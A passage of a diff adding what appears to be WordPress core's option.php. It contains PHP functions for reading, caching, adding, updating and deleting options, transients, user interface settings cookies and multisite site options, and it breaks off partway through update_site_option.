+		$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );
+		$wpdb->suppress_errors( $suppress );
+		if ( is_object( $row ) ) {
+			$value = $row->option_value;
+		} else {
+			/** This filter is documented in wp-includes/option.php */
+			return apply_filters( 'default_option_' . $option, $default );
+		}
+	}
+
+	// If home is not set use siteurl.
+	if ( 'home' == $option && '' == $value )
+		return get_option( 'siteurl' );
+
+	if ( in_array( $option, array('siteurl', 'home', 'category_base', 'tag_base') ) )
+		$value = untrailingslashit( $value );
+
+	/**
+	 * Filter the value of an existing option.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 1.5.0 As 'option_' . $setting
+	 * @since 3.0.0
+	 *
+	 * @param mixed $value Value of the option. If stored serialized, it will be
+	 *                     unserialized prior to being returned.
+	 */
+	return apply_filters( 'option_' . $option, maybe_unserialize( $value ) );
+}
+
+/**
+ * Protect WordPress special option from being modified.
+ *
+ * Will die if $option is in protected list. Protected options are 'alloptions'
+ * and 'notoptions' options.
+ *
+ * @since 2.2.0
+ *
+ * @param string $option Option name.
+ */
+function wp_protect_special_option( $option ) {
+	if ( 'alloptions' === $option || 'notoptions' === $option )
+		wp_die( sprintf( __( '%s is a protected WP option and may not be modified' ), esc_html( $option ) ) );
+}
+
+/**
+ * Print option value after sanitizing for forms.
+ *
+ * @since 1.5.0
+ *
+ * @param string $option Option name.
+ */
+function form_option( $option ) {
+	echo esc_attr( get_option( $option ) );
+}
+
+/**
+ * Loads and caches all autoloaded options, if available or all options.
+ *
+ * @since 2.2.0
+ *
+ * @return array List of all options.
+ */
+function wp_load_alloptions() {
+	global $wpdb;
+
+	if ( !defined( 'WP_INSTALLING' ) || !is_multisite() )
+		$alloptions = wp_cache_get( 'alloptions', 'options' );
+	else
+		$alloptions = false;
+
+	if ( !$alloptions ) {
+		$suppress = $wpdb->suppress_errors();
+		if ( !$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options WHERE autoload = 'yes'" ) )
+			$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" );
+		$wpdb->suppress_errors($suppress);
+		$alloptions = array();
+		foreach ( (array) $alloptions_db as $o ) {
+			$alloptions[$o->option_name] = $o->option_value;
+		}
+		if ( !defined( 'WP_INSTALLING' ) || !is_multisite() )
+			wp_cache_add( 'alloptions', $alloptions, 'options' );
+	}
+
+	return $alloptions;
+}
+
+/**
+ * Loads and caches certain often requested site options if is_multisite() and a persistent cache is not being used.
+ *
+ * @since 3.0.0
+ *
+ * @param int $site_id Optional site ID for which to query the options. Defaults to the current site.
+ */
+function wp_load_core_site_options( $site_id = null ) {
+	global $wpdb;
+
+	if ( !is_multisite() || wp_using_ext_object_cache() || defined( 'WP_INSTALLING' ) )
+		return;
+
+	if ( empty($site_id) )
+		$site_id = $wpdb->siteid;
+
+	$core_options = array('site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled', 'ms_files_rewriting' );
+
+	$core_options_in = "'" . implode("', '", $core_options) . "'";
+	$options = $wpdb->get_results( $wpdb->prepare("SELECT meta_key, meta_value FROM $wpdb->sitemeta WHERE meta_key IN ($core_options_in) AND site_id = %d", $site_id) );
+
+	foreach ( $options as $option ) {
+		$key = $option->meta_key;
+		$cache_key = "{$site_id}:$key";
+		$option->meta_value = maybe_unserialize( $option->meta_value );
+
+		wp_cache_set( $cache_key, $option->meta_value, 'site-options' );
+	}
+}
+
+/**
+ * Update the value of an option that was already added.
+ *
+ * You do not need to serialize values. If the value needs to be serialized, then
+ * it will be serialized before it is inserted into the database. Remember,
+ * resources can not be serialized or added as an option.
+ *
+ * If the option does not exist, then the option will be added with the option
+ * value, but you will not be able to set whether it is autoloaded. If you want
+ * to set whether an option is autoloaded, then you need to use the add_option().
+ *
+ * @since 1.0.0
+ *
+ * @param string $option Option name. Expected to not be SQL-escaped.
+ * @param mixed $value Option value. Must be serializable if non-scalar. Expected to not be SQL-escaped.
+ * @return bool False if value was not updated and true if value was updated.
+ */
+function update_option( $option, $value ) {
+	global $wpdb;
+
+	$option = trim($option);
+	if ( empty($option) )
+		return false;
+
+	wp_protect_special_option( $option );
+
+	if ( is_object( $value ) )
+		$value = clone $value;
+
+	$value = sanitize_option( $option, $value );
+	$old_value = get_option( $option );
+
+	/**
+	 * Filter a specific option before its value is (maybe) serialized and updated.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param mixed $value     The new, unserialized option value.
+	 * @param mixed $old_value The old option value.
+	 */
+	$value = apply_filters( 'pre_update_option_' . $option, $value, $old_value );
+
+	/**
+	 * Filter an option before its value is (maybe) serialized and updated.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param mixed  $value     The new, unserialized option value.
+	 * @param string $option    Name of the option.
+	 * @param mixed  $old_value The old option value.
+	 */
+	$value = apply_filters( 'pre_update_option', $value, $option, $old_value );
+
+	// If the new and old values are the same, no need to update.
+	if ( $value === $old_value )
+		return false;
+
+	if ( false === $old_value )
+		return add_option( $option, $value );
+
+	$serialized_value = maybe_serialize( $value );
+
+	/**
+	 * Fires immediately before an option value is updated.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $option    Name of the option to update.
+	 * @param mixed  $old_value The old option value.
+	 * @param mixed  $value     The new option value.
+	 */
+	do_action( 'update_option', $option, $old_value, $value );
+
+	$result = $wpdb->update( $wpdb->options, array( 'option_value' => $serialized_value ), array( 'option_name' => $option ) );
+	if ( ! $result )
+		return false;
+
+	$notoptions = wp_cache_get( 'notoptions', 'options' );
+	if ( is_array( $notoptions ) && isset( $notoptions[$option] ) ) {
+		unset( $notoptions[$option] );
+		wp_cache_set( 'notoptions', $notoptions, 'options' );
+	}
+
+	if ( ! defined( 'WP_INSTALLING' ) ) {
+		$alloptions = wp_load_alloptions();
+		if ( isset( $alloptions[$option] ) ) {
+			$alloptions[ $option ] = $serialized_value;
+			wp_cache_set( 'alloptions', $alloptions, 'options' );
+		} else {
+			wp_cache_set( $option, $serialized_value, 'options' );
+		}
+	}
+
+	/**
+	 * Fires after the value of a specific option has been successfully updated.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 2.0.1
+	 *
+	 * @param mixed $old_value The old option value.
+	 * @param mixed $value     The new option value.
+	 */
+	do_action( "update_option_{$option}", $old_value, $value );
+
+	/**
+	 * Fires after the value of an option has been successfully updated.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $option    Name of the updated option.
+	 * @param mixed  $old_value The old option value.
+	 * @param mixed  $value     The new option value.
+	 */
+	do_action( 'updated_option', $option, $old_value, $value );
+	return true;
+}
+
+/**
+ * Add a new option.
+ *
+ * You do not need to serialize values. If the value needs to be serialized, then
+ * it will be serialized before it is inserted into the database. Remember,
+ * resources can not be serialized or added as an option.
+ *
+ * You can create options without values and then update the values later.
+ * Existing options will not be updated and checks are performed to ensure that you
+ * aren't adding a protected WordPress option. Care should be taken to not name
+ * options the same as the ones which are protected.
+ *
+ * @since 1.0.0
+ *
+ * @param string         $option      Name of option to add. Expected to not be SQL-escaped.
+ * @param mixed          $value       Optional. Option value. Must be serializable if non-scalar. Expected to not be SQL-escaped.
+ * @param string         $deprecated  Optional. Description. Not used anymore.
+ * @param string|bool    $autoload    Optional. Default is enabled. Whether to load the option when WordPress starts up.
+ * @return bool False if option was not added and true if option was added.
+ */
+function add_option( $option, $value = '', $deprecated = '', $autoload = 'yes' ) {
+	global $wpdb;
+
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.3' );
+
+	$option = trim($option);
+	if ( empty($option) )
+		return false;
+
+	wp_protect_special_option( $option );
+
+	if ( is_object($value) )
+		$value = clone $value;
+
+	$value = sanitize_option( $option, $value );
+
+	// Make sure the option doesn't already exist. We can check the 'notoptions' cache before we ask for a db query
+	$notoptions = wp_cache_get( 'notoptions', 'options' );
+	if ( !is_array( $notoptions ) || !isset( $notoptions[$option] ) )
+		if ( false !== get_option( $option ) )
+			return false;
+
+	$serialized_value = maybe_serialize( $value );
+	$autoload = ( 'no' === $autoload ) ? 'no' : 'yes';
+
+	/**
+	 * Fires before an option is added.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $option Name of the option to add.
+	 * @param mixed  $value  Value of the option.
+	 */
+	do_action( 'add_option', $option, $value );
+
+	$result = $wpdb->query( $wpdb->prepare( "INSERT INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, %s) ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)", $option, $serialized_value, $autoload ) );
+	if ( ! $result )
+		return false;
+
+	if ( ! defined( 'WP_INSTALLING' ) ) {
+		if ( 'yes' == $autoload ) {
+			$alloptions = wp_load_alloptions();
+			$alloptions[ $option ] = $serialized_value;
+			wp_cache_set( 'alloptions', $alloptions, 'options' );
+		} else {
+			wp_cache_set( $option, $serialized_value, 'options' );
+		}
+	}
+
+	// This option exists now
+	$notoptions = wp_cache_get( 'notoptions', 'options' ); // yes, again... we need it to be fresh
+	if ( is_array( $notoptions ) && isset( $notoptions[$option] ) ) {
+		unset( $notoptions[$option] );
+		wp_cache_set( 'notoptions', $notoptions, 'options' );
+	}
+
+	/**
+	 * Fires after a specific option has been added.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 2.5.0 As "add_option_{$name}"
+	 * @since 3.0.0
+	 *
+	 * @param string $option Name of the option to add.
+	 * @param mixed  $value  Value of the option.
+	 */
+	do_action( "add_option_{$option}", $option, $value );
+
+	/**
+	 * Fires after an option has been added.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $option Name of the added option.
+	 * @param mixed  $value  Value of the option.
+	 */
+	do_action( 'added_option', $option, $value );
+	return true;
+}
+
+/**
+ * Removes option by name. Prevents removal of protected WordPress options.
+ *
+ * @since 1.2.0
+ *
+ * @param string $option Name of option to remove. Expected to not be SQL-escaped.
+ * @return bool True, if option is successfully deleted. False on failure.
+ */
+function delete_option( $option ) {
+	global $wpdb;
+
+	$option = trim( $option );
+	if ( empty( $option ) )
+		return false;
+
+	wp_protect_special_option( $option );
+
+	// Get the ID, if no ID then return
+	$row = $wpdb->get_row( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s", $option ) );
+	if ( is_null( $row ) )
+		return false;
+
+	/**
+	 * Fires immediately before an option is deleted.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $option Name of the option to delete.
+	 */
+	do_action( 'delete_option', $option );
+
+	$result = $wpdb->delete( $wpdb->options, array( 'option_name' => $option ) );
+	if ( ! defined( 'WP_INSTALLING' ) ) {
+		if ( 'yes' == $row->autoload ) {
+			$alloptions = wp_load_alloptions();
+			if ( is_array( $alloptions ) && isset( $alloptions[$option] ) ) {
+				unset( $alloptions[$option] );
+				wp_cache_set( 'alloptions', $alloptions, 'options' );
+			}
+		} else {
+			wp_cache_delete( $option, 'options' );
+		}
+	}
+	if ( $result ) {
+
+		/**
+		 * Fires after a specific option has been deleted.
+		 *
+		 * The dynamic portion of the hook name, `$option`, refers to the option name.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $option Name of the deleted option.
+		 */
+		do_action( "delete_option_$option", $option );
+
+		/**
+		 * Fires after an option has been deleted.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $option Name of the deleted option.
+		 */
+		do_action( 'deleted_option', $option );
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Delete a transient.
+ *
+ * @since 2.8.0
+ *
+ * @param string $transient Transient name. Expected to not be SQL-escaped.
+ * @return bool true if successful, false otherwise
+ */
+function delete_transient( $transient ) {
+
+	/**
+	 * Fires immediately before a specific transient is deleted.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $transient Transient name.
+	 */
+	do_action( 'delete_transient_' . $transient, $transient );
+
+	if ( wp_using_ext_object_cache() ) {
+		$result = wp_cache_delete( $transient, 'transient' );
+	} else {
+		$option_timeout = '_transient_timeout_' . $transient;
+		$option = '_transient_' . $transient;
+		$result = delete_option( $option );
+		if ( $result )
+			delete_option( $option_timeout );
+	}
+
+	if ( $result ) {
+
+		/**
+		 * Fires after a transient is deleted.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $transient Deleted transient name.
+		 */
+		do_action( 'deleted_transient', $transient );
+	}
+
+	return $result;
+}
+
+/**
+ * Get the value of a transient.
+ *
+ * If the transient does not exist, does not have a value, or has expired,
+ * then the return value will be false.
+ *
+ * @since 2.8.0
+ *
+ * @param string $transient Transient name. Expected to not be SQL-escaped.
+ * @return mixed Value of transient.
+ */
+function get_transient( $transient ) {
+
+ 	/**
+	 * Filter the value of an existing transient.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * Passing a truthy value to the filter will effectively short-circuit retrieval
+	 * of the transient, returning the passed value instead.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param mixed $pre_transient The default value to return if the transient does not exist.
+	 *                             Any value other than false will short-circuit the retrieval
+	 *                             of the transient, and return the returned value.
+	 */
+	$pre = apply_filters( 'pre_transient_' . $transient, false );
+	if ( false !== $pre )
+		return $pre;
+
+	if ( wp_using_ext_object_cache() ) {
+		$value = wp_cache_get( $transient, 'transient' );
+	} else {
+		$transient_option = '_transient_' . $transient;
+		if ( ! defined( 'WP_INSTALLING' ) ) {
+			// If option is not in alloptions, it is not autoloaded and thus has a timeout
+			$alloptions = wp_load_alloptions();
+			if ( !isset( $alloptions[$transient_option] ) ) {
+				$transient_timeout = '_transient_timeout_' . $transient;
+				if ( get_option( $transient_timeout ) < time() ) {
+					delete_option( $transient_option  );
+					delete_option( $transient_timeout );
+					$value = false;
+				}
+			}
+		}
+
+		if ( ! isset( $value ) )
+			$value = get_option( $transient_option );
+	}
+
+	/**
+	 * Filter an existing transient's value.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param mixed $value Value of transient.
+	 */
+	return apply_filters( 'transient_' . $transient, $value );
+}
+
+/**
+ * Set/update the value of a transient.
+ *
+ * You do not need to serialize values. If the value needs to be serialized, then
+ * it will be serialized before it is set.
+ *
+ * @since 2.8.0
+ *
+ * @param string $transient  Transient name. Expected to not be SQL-escaped. Must be
+ *                           45 characters or fewer in length.
+ * @param mixed  $value      Transient value. Must be serializable if non-scalar.
+ *                           Expected to not be SQL-escaped.
+ * @param int    $expiration Optional. Time until expiration in seconds. Default 0.
+ * @return bool False if value was not set and true if value was set.
+ */
+function set_transient( $transient, $value, $expiration = 0 ) {
+
+	/**
+	 * Filter a specific transient before its value is set.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param mixed $value New value of transient.
+	 */
+	$value = apply_filters( 'pre_set_transient_' . $transient, $value );
+
+	$expiration = (int) $expiration;
+
+	if ( wp_using_ext_object_cache() ) {
+		$result = wp_cache_set( $transient, $value, 'transient', $expiration );
+	} else {
+		$transient_timeout = '_transient_timeout_' . $transient;
+		$transient = '_transient_' . $transient;
+		if ( false === get_option( $transient ) ) {
+			$autoload = 'yes';
+			if ( $expiration ) {
+				$autoload = 'no';
+				add_option( $transient_timeout, time() + $expiration, '', 'no' );
+			}
+			$result = add_option( $transient, $value, '', $autoload );
+		} else {
+			// If expiration is requested, but the transient has no timeout option,
+			// delete, then re-create transient rather than update.
+			$update = true;
+			if ( $expiration ) {
+				if ( false === get_option( $transient_timeout ) ) {
+					delete_option( $transient );
+					add_option( $transient_timeout, time() + $expiration, '', 'no' );
+					$result = add_option( $transient, $value, '', 'no' );
+					$update = false;
+				} else {
+					update_option( $transient_timeout, time() + $expiration );
+				}
+			}
+			if ( $update ) {
+				$result = update_option( $transient, $value );
+			}
+		}
+	}
+
+	if ( $result ) {
+
+		/**
+		 * Fires after the value for a specific transient has been set.
+		 *
+		 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param mixed $value      Transient value.
+		 * @param int   $expiration Time until expiration in seconds. Default 0.
+		 */
+		do_action( 'set_transient_' . $transient, $value, $expiration );
+
+		/**
+		 * Fires after the value for a transient has been set.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $transient  The name of the transient.
+		 * @param mixed  $value      Transient value.
+		 * @param int    $expiration Time until expiration in seconds. Default 0.
+		 */
+		do_action( 'setted_transient', $transient, $value, $expiration );
+	}
+	return $result;
+}
+
+/**
+ * Saves and restores user interface settings stored in a cookie.
+ *
+ * Checks if the current user-settings cookie is updated and stores it. When no
+ * cookie exists (different browser used), adds the last saved cookie restoring
+ * the settings.
+ *
+ * @since 2.7.0
+ */
+function wp_user_settings() {
+
+	if ( ! is_admin() || defined( 'DOING_AJAX' ) ) {
+		return;
+	}
+
+	if ( ! $user_id = get_current_user_id() ) {
+		return;
+	}
+
+	if ( is_super_admin() && ! is_user_member_of_blog() ) {
+		return;
+	}
+
+	$settings = (string) get_user_option( 'user-settings', $user_id );
+
+	if ( isset( $_COOKIE['wp-settings-' . $user_id] ) ) {
+		$cookie = preg_replace( '/[^A-Za-z0-9=&_]/', '', $_COOKIE['wp-settings-' . $user_id] );
+
+		// No change or both empty
+		if ( $cookie == $settings )
+			return;
+
+		$last_saved = (int) get_user_option( 'user-settings-time', $user_id );
+		$current = isset( $_COOKIE['wp-settings-time-' . $user_id]) ? preg_replace( '/[^0-9]/', '', $_COOKIE['wp-settings-time-' . $user_id] ) : 0;
+
+		// The cookie is newer than the saved value. Update the user_option and leave the cookie as-is
+		if ( $current > $last_saved ) {
+			update_user_option( $user_id, 'user-settings', $cookie, false );
+			update_user_option( $user_id, 'user-settings-time', time() - 5, false );
+			return;
+		}
+	}
+
+	// The cookie is not set in the current browser or the saved value is newer.
+	$secure = ( 'https' === parse_url( site_url(), PHP_URL_SCHEME ) );
+	setcookie( 'wp-settings-' . $user_id, $settings, time() + YEAR_IN_SECONDS, SITECOOKIEPATH, null, $secure );
+	setcookie( 'wp-settings-time-' . $user_id, time(), time() + YEAR_IN_SECONDS, SITECOOKIEPATH, null, $secure );
+	$_COOKIE['wp-settings-' . $user_id] = $settings;
+}
+
+/**
+ * Retrieve user interface setting value based on setting name.
+ *
+ * @since 2.7.0
+ *
+ * @param string $name The name of the setting.
+ * @param string $default Optional default value to return when $name is not set.
+ * @return mixed the last saved user setting or the default value/false if it doesn't exist.
+ */
+function get_user_setting( $name, $default = false ) {
+	$all_user_settings = get_all_user_settings();
+
+	return isset( $all_user_settings[$name] ) ? $all_user_settings[$name] : $default;
+}
+
+/**
+ * Add or update user interface setting.
+ *
+ * Both $name and $value can contain only ASCII letters, numbers and underscores.
+ * This function has to be used before any output has started as it calls setcookie().
+ *
+ * @since 2.8.0
+ *
+ * @param string $name The name of the setting.
+ * @param string $value The value for the setting.
+ * @return null|bool true if set successfully/false if not.
+ */
+function set_user_setting( $name, $value ) {
+
+	if ( headers_sent() ) {
+		return false;
+	}
+
+	$all_user_settings = get_all_user_settings();
+	$all_user_settings[$name] = $value;
+
+	return wp_set_all_user_settings( $all_user_settings );
+}
+
+/**
+ * Delete user interface settings.
+ *
+ * Deleting settings would reset them to the defaults.
+ * This function has to be used before any output has started as it calls setcookie().
+ *
+ * @since 2.7.0
+ *
+ * @param string $names The name or array of names of the setting to be deleted.
+ * @return null|bool true if deleted successfully/false if not.
+ */
+function delete_user_setting( $names ) {
+
+	if ( headers_sent() ) {
+		return false;
+	}
+
+	$all_user_settings = get_all_user_settings();
+	$names = (array) $names;
+	$deleted = false;
+
+	foreach ( $names as $name ) {
+		if ( isset( $all_user_settings[$name] ) ) {
+			unset( $all_user_settings[$name] );
+			$deleted = true;
+		}
+	}
+
+	if ( $deleted ) {
+		return wp_set_all_user_settings( $all_user_settings );
+	}
+
+	return false;
+}
+
+/**
+ * Retrieve all user interface settings.
+ *
+ * @since 2.7.0
+ *
+ * @return array the last saved user settings or empty array.
+ */
+function get_all_user_settings() {
+	global $_updated_user_settings;
+
+	if ( ! $user_id = get_current_user_id() ) {
+		return array();
+	}
+
+	if ( isset( $_updated_user_settings ) && is_array( $_updated_user_settings ) ) {
+		return $_updated_user_settings;
+	}
+
+	$user_settings = array();
+
+	if ( isset( $_COOKIE['wp-settings-' . $user_id] ) ) {
+		$cookie = preg_replace( '/[^A-Za-z0-9=&_]/', '', $_COOKIE['wp-settings-' . $user_id] );
+
+		if ( strpos( $cookie, '=' ) ) { // '=' cannot be 1st char
+			parse_str( $cookie, $user_settings );
+		}
+	} else {
+		$option = get_user_option( 'user-settings', $user_id );
+
+		if ( $option && is_string( $option ) ) {
+			parse_str( $option, $user_settings );
+		}
+	}
+
+	$_updated_user_settings = $user_settings;
+	return $user_settings;
+}
+
+/**
+ * Private. Set all user interface settings.
+ *
+ * @since 2.8.0
+ *
+ * @param array $user_settings
+ * @return null|bool
+ */
+function wp_set_all_user_settings( $user_settings ) {
+	global $_updated_user_settings;
+
+	if ( ! $user_id = get_current_user_id() ) {
+		return false;
+	}
+
+	if ( is_super_admin() && ! is_user_member_of_blog() ) {
+		return;
+	}
+
+	$settings = '';
+	foreach ( $user_settings as $name => $value ) {
+		$_name = preg_replace( '/[^A-Za-z0-9_]+/', '', $name );
+		$_value = preg_replace( '/[^A-Za-z0-9_]+/', '', $value );
+
+		if ( ! empty( $_name ) ) {
+			$settings .= $_name . '=' . $_value . '&';
+		}
+	}
+
+	$settings = rtrim( $settings, '&' );
+	parse_str( $settings, $_updated_user_settings );
+
+	update_user_option( $user_id, 'user-settings', $settings, false );
+	update_user_option( $user_id, 'user-settings-time', time(), false );
+
+	return true;
+}
+
+/**
+ * Delete the user settings of the current user.
+ *
+ * @since 2.7.0
+ */
+function delete_all_user_settings() {
+	if ( ! $user_id = get_current_user_id() ) {
+		return;
+	}
+
+	update_user_option( $user_id, 'user-settings', '', false );
+	setcookie( 'wp-settings-' . $user_id, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH );
+}
+
+/**
+ * Retrieve site option value based on name of option.
+ *
+ * @since 2.8.0
+ *
+ * @see get_option()
+ *
+ * @param string $option Name of option to retrieve. Expected to not be SQL-escaped.
+ * @param mixed $default Optional value to return if option doesn't exist. Default false.
+ * @param bool $use_cache Whether to use cache. Multisite only. Default true.
+ * @return mixed Value set for the option.
+ */
+function get_site_option( $option, $default = false, $use_cache = true ) {
+	global $wpdb;
+
+	/**
+	 * Filter an existing site option before it is retrieved.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * Passing a truthy value to the filter will effectively short-circuit retrieval,
+	 * returning the passed value instead.
+	 *
+	 * @since 2.9.0 As 'pre_site_option_' . $key
+	 * @since 3.0.0
+	 *
+	 * @param mixed $pre_option The default value to return if the option does not exist.
+	 */
+ 	$pre = apply_filters( 'pre_site_option_' . $option, false );
+
+ 	if ( false !== $pre )
+ 		return $pre;
+
+	// prevent non-existent options from triggering multiple queries
+	$notoptions_key = "{$wpdb->siteid}:notoptions";
+	$notoptions = wp_cache_get( $notoptions_key, 'site-options' );
+
+	if ( isset( $notoptions[$option] ) ) {
+
+		/**
+		 * Filter a specific default site option.
+		 *
+		 * The dynamic portion of the hook name, `$option`, refers to the option name.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param mixed $default The value to return if the site option does not exist
+		 *                       in the database.
+		 */
+		return apply_filters( 'default_site_option_' . $option, $default );
+	}
+
+	if ( ! is_multisite() ) {
+
+		/** This filter is documented in wp-includes/option.php */
+		$default = apply_filters( 'default_site_option_' . $option, $default );
+		$value = get_option($option, $default);
+	} else {
+		$cache_key = "{$wpdb->siteid}:$option";
+		if ( $use_cache )
+			$value = wp_cache_get($cache_key, 'site-options');
+
+		if ( !isset($value) || (false === $value) ) {
+			$row = $wpdb->get_row( $wpdb->prepare("SELECT meta_value FROM $wpdb->sitemeta WHERE meta_key = %s AND site_id = %d", $option, $wpdb->siteid ) );
+
+			// Has to be get_row instead of get_var because of funkiness with 0, false, null values
+			if ( is_object( $row ) ) {
+				$value = $row->meta_value;
+				$value = maybe_unserialize( $value );
+				wp_cache_set( $cache_key, $value, 'site-options' );
+			} else {
+				$notoptions[$option] = true;
+				wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
+
+				/** This filter is documented in wp-includes/option.php */
+				$value = apply_filters( 'default_site_option_' . $option, $default );
+			}
+		}
+	}
+
+	/**
+	 * Filter the value of an existing site option.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 2.9.0 As 'site_option_' . $key
+	 * @since 3.0.0
+	 *
+	 * @param mixed $value Value of site option.
+	 */
+ 	return apply_filters( 'site_option_' . $option, $value );
+}
+
+/**
+ * Add a new site option.
+ *
+ * Existing options will not be updated. Note that prior to 3.3 this wasn't the case.
+ *
+ * @since 2.8.0
+ *
+ * @see add_option()
+ *
+ * @param string $option Name of option to add. Expected to not be SQL-escaped.
+ * @param mixed $value Optional. Option value, can be anything. Expected to not be SQL-escaped.
+ * @return bool False if option was not added and true if option was added.
+ */
+function add_site_option( $option, $value ) {
+	global $wpdb;
+
+	wp_protect_special_option( $option );
+
+	/**
+	 * Filter the value of a specific site option before it is added.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 2.9.0 As 'pre_add_site_option_' . $key
+	 * @since 3.0.0
+	 *
+	 * @param mixed $value Value of site option.
+	 */
+	$value = apply_filters( 'pre_add_site_option_' . $option, $value );
+
+	$notoptions_key = "{$wpdb->siteid}:notoptions";
+
+	if ( !is_multisite() ) {
+		$result = add_option( $option, $value );
+	} else {
+		$cache_key = "{$wpdb->siteid}:$option";
+
+		// Make sure the option doesn't already exist. We can check the 'notoptions' cache before we ask for a db query
+		$notoptions = wp_cache_get( $notoptions_key, 'site-options' );
+		if ( ! is_array( $notoptions ) || ! isset( $notoptions[$option] ) )
+			if ( false !== get_site_option( $option ) )
+				return false;
+
+		$value = sanitize_option( $option, $value );
+
+		$serialized_value = maybe_serialize( $value );
+		$result = $wpdb->insert( $wpdb->sitemeta, array('site_id' => $wpdb->siteid, 'meta_key' => $option, 'meta_value' => $serialized_value ) );
+
+		if ( ! $result )
+			return false;
+
+		wp_cache_set( $cache_key, $value, 'site-options' );
+
+		// This option exists now
+		$notoptions = wp_cache_get( $notoptions_key, 'site-options' ); // yes, again... we need it to be fresh
+		if ( is_array( $notoptions ) && isset( $notoptions[$option] ) ) {
+			unset( $notoptions[$option] );
+			wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
+		}
+	}
+
+	if ( $result ) {
+
+		/**
+		 * Fires after a specific site option has been successfully added.
+		 *
+		 * The dynamic portion of the hook name, `$option`, refers to the option name.
+		 *
+		 * @since 2.9.0 As "add_site_option_{$key}"
+		 * @since 3.0.0
+		 *
+		 * @param string $option Name of site option.
+		 * @param mixed  $value  Value of site option.
+		 */
+		do_action( "add_site_option_{$option}", $option, $value );
+
+		/**
+		 * Fires after a site option has been successfully added.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $option Name of site option.
+		 * @param mixed  $value  Value of site option.
+		 */
+		do_action( "add_site_option", $option, $value );
+
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Removes site option by name.
+ *
+ * @since 2.8.0
+ *
+ * @see delete_option()
+ *
+ * @param string $option Name of option to remove. Expected to not be SQL-escaped.
+ * @return bool True, if succeed. False, if failure.
+ */
+function delete_site_option( $option ) {
+	global $wpdb;
+
+	// ms_protect_special_option( $option ); @todo
+
+	/**
+	 * Fires immediately before a specific site option is deleted.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 3.0.0
+	 */
+	do_action( 'pre_delete_site_option_' . $option );
+
+	if ( !is_multisite() ) {
+		$result = delete_option( $option );
+	} else {
+		$row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM {$wpdb->sitemeta} WHERE meta_key = %s AND site_id = %d", $option, $wpdb->siteid ) );
+		if ( is_null( $row ) || !$row->meta_id )
+			return false;
+		$cache_key = "{$wpdb->siteid}:$option";
+		wp_cache_delete( $cache_key, 'site-options' );
+
+		$result = $wpdb->delete( $wpdb->sitemeta, array( 'meta_key' => $option, 'site_id' => $wpdb->siteid ) );
+	}
+
+	if ( $result ) {
+
+		/**
+		 * Fires after a specific site option has been deleted.
+		 *
+		 * The dynamic portion of the hook name, `$option`, refers to the option name.
+		 *
+		 * @since 2.9.0 As "delete_site_option_{$key}"
+		 * @since 3.0.0
+		 *
+		 * @param string $option Name of the site option.
+		 */
+		do_action( "delete_site_option_{$option}", $option );
+
+		/**
+		 * Fires after a site option has been deleted.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $option Name of the site option.
+		 */
+		do_action( "delete_site_option", $option );
+
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Update the value of a site option that was already added.
+ *
+ * @since 2.8.0
+ *
+ * @see update_option()
+ *
+ * @param string $option Name of option. Expected to not be SQL-escaped.
+ * @param mixed $value Option value. Expected to not be SQL-escaped.
+ * @return bool False if value was not updated and true if value was updated.
+ */
+function update_site_option( $option, $value ) {
+	global $wpdb;
+
+	wp_protect_special_option( $option );
+
+	$old_value = get_site_option( $option );
+
+	/**
+	 * Filter a specific site option before its value is updated.
+	 *
